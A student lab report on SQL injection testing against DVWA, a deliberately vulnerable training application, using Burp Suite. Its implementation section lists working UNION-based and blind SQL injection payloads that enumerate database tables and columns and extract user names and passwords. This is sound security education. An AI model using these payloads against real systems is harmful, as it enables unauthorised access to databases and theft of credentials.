| **Course Name:** | **Information Security (116U01L602)** | **Semester:** | **VI** |
| --- | --- | --- | --- |
| **Date of Performance:** | **20/2/2025** | **DIV/ Batch No:** | **C - 3** |
| **Student Name:** | **Romil Lodaya** | **Roll No:** | **16010122096** |

| **Title:Analysis of sample vulnerable web applications for Man-in-Middle Attack /**  **SQL injection etc. using Burp Suite.** |
| --- |

| **Objectives:** |
| --- |
| Identify and analyze web attacks (e.g., SQL Injection, XSS). |

| **Expected Outcome of Experiment:** |
| --- |
| **CO3 :Identify and analyze web attacks** |

| **Books/ Journals/ Websites referred:** |
| --- |
| OWASP Testing Guide  Burp Suite Documentation  DVWA (Damn Vulnerable Web Application) |

| **Pre Lab/ Prior Concepts:** |
| --- |
| Basics of SQL and web application security.  Familiarity with HTTP requests and responses.  Basic understanding of Burp Suite functionality. |

| **New Concepts to be learned:** |
| --- |
| SQL Injection attack methods and how to exploit them using tools like Burp Suite.  Techniques to mitigate SQL Injection vulnerabilities. |

| **Abstract:** |
| --- |
| The main goal of DVWA (Damn Vulnerable Web Application) is to give security  professionals a safe and lawful platform to test their abilities and resources for identifying  and exploiting web application vulnerabilities. The DVWA also seeks to assist teachers and  students in learning and teaching web application security in a classroom setting, as well as  to aid web developers in better understanding the procedures involved in protecting web  applications.  It's crucial to remember that the DVWA application shouldn't be employed maliciously.  The application's developers have taken steps to prevent users from installing DVWA on  live web servers and have defined the app's intended uses in detail. To ensure the application  is used safely and legally, users must heed the instructions and cautions given by the  developers.  Although the DVWA developers have taken steps to assure the application's safety, they  disclaim liability for any abuse or malicious behaviours committed while using the  application. Users are fully accountable for their choices and any negative effects that can  arise from the setup and use of DVWA on their web servers.  In summary, DVWA serves as a valuable tool for security professionals, web developers,  and educators to learn and teach about web application security. However, it is imperative  that users utilize the application responsibly and follow the guidelines provided by its  creators to ensure the safe and legal use of the application. |

| **Related Theory:** |
| --- |
| **SQL Injection**: An attack where malicious SQL queries are injected into input fields, allowing unauthorized access to databases.  **Burp Suite**: A web vulnerability scanner and proxy tool used to analyze and intercept HTTP requests, facilitating security testing.  SQL injection is a code injection technique that might destroy your database. SQL injection is one of the most common web hacking techniques. SQL injection is the placement of malicious code in SQL statements, via web page input.SQL injection attacks can have a significant negative impact on an organization.Organizations have access to sensitive company data and private customer information,and SQL injection attacks often target that confidential information. When a malicious  user successfully completes an SQL injection attack, it can have any of the following impacts:  • Exposes Sensitive Company Data: Using SQL injection, attackers can retrieve and alter data, which risks exposing sensitive company data stored on the SQL server.  • Compromise Users’ Privacy: Depending on the data stored on the SQL server, an attack can expose private user data, such as credit card numbers.  • Give an attacker administrative access to your system: If a database user has administrative privileges, an attacker can gain access to the system using malicious code. To protect against this kind of vulnerability, create a database user with the least possible privileges.  • Give an Attacker General Access to Your System: If you use weak SQL commands to check user names and passwords, an attacker could gain access to your system without knowing a user’s credentials. With general access to your system, an attacker can cause additional damage accessing and manipulating sensitive information.  • Compromise the Integrity of Your Data: Using SQL injection, attackers can make  changes to or delete information from your system.  Burp Suite is an integrated platform/graphical tool for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. Burp Suite is installed by default in Kali Linux.  The tool is written in Java and developed by PortSwigger Web Security. The tool has three editions: a Community Edition that can be downloaded free of charge, a Professional Edition and an Enterprise Edition that can be purchased after a trial period. The Community edition has significantly reduced functionality. It intends to provide a comprehensive solution for web application security checks. In addition to basic functionality, such as proxy server, scanner and intruder, the tool also contains more advanced options such as a spider, a repeater, a decoder, a comparer, an extender and a sequencer. |

| **Implementation Details:** |
| --- |
| | whoami    Activation:        SQL Injection: Task 1 - DVWA SQL Injection Page  Retrieving hidden data   1. id=1   2) id = 2    3) id=3    4) id=3’ - shows error  Retrieving data from other tables  5)id=3' and 1=0 union select null, version() #    6)id=3' and 1=0 union select null, user() #    7) id=3' and 1=0 union select null, database() #    8)id=3' and 1=0 union select null,table\_name from information\_schema.tables where table\_schema!='mysql' and table\_schema!='information\_schema' #    Passing malicious query:  9) id=3' and 1=0 union select null,column\_name from information\_schema.columns where table\_name='users' #    10) id=3' and 1=0 union select null,concat(first\_name,0x0a,password) from users #    SQL injection blind  id= `    id= 1  id = 1’ and 1=1#    id = 1’ and 1=0#    id=1’ order by 1#    id=1’ order by 2#  id=1’ order by 3#    id = 1’ union select 1#    id=1' union select 1,2# |

| **Results/Output:** |
| --- |
| After launching DVWA and setting the security level to "low," we tested the SQL Injection vulnerability on the login page.  Using Burp Suite, we intercepted and modified the HTTP request to inject SQL statements into the input fields.  The application returned unauthorized access to the database, allowing us to retrieve user information, which confirmed that the SQL Injection vulnerability existed and could be exploited.  On higher security levels, we found that proper sanitization and input validation prevented the SQL Injection attack, indicating effective mitigation techniques. |

| **Conclusion:** |
| --- |
| DVWA testing revealed critical vulnerabilities, including SQL injection, emphasizing the importance of secure coding practices and web application security measures. |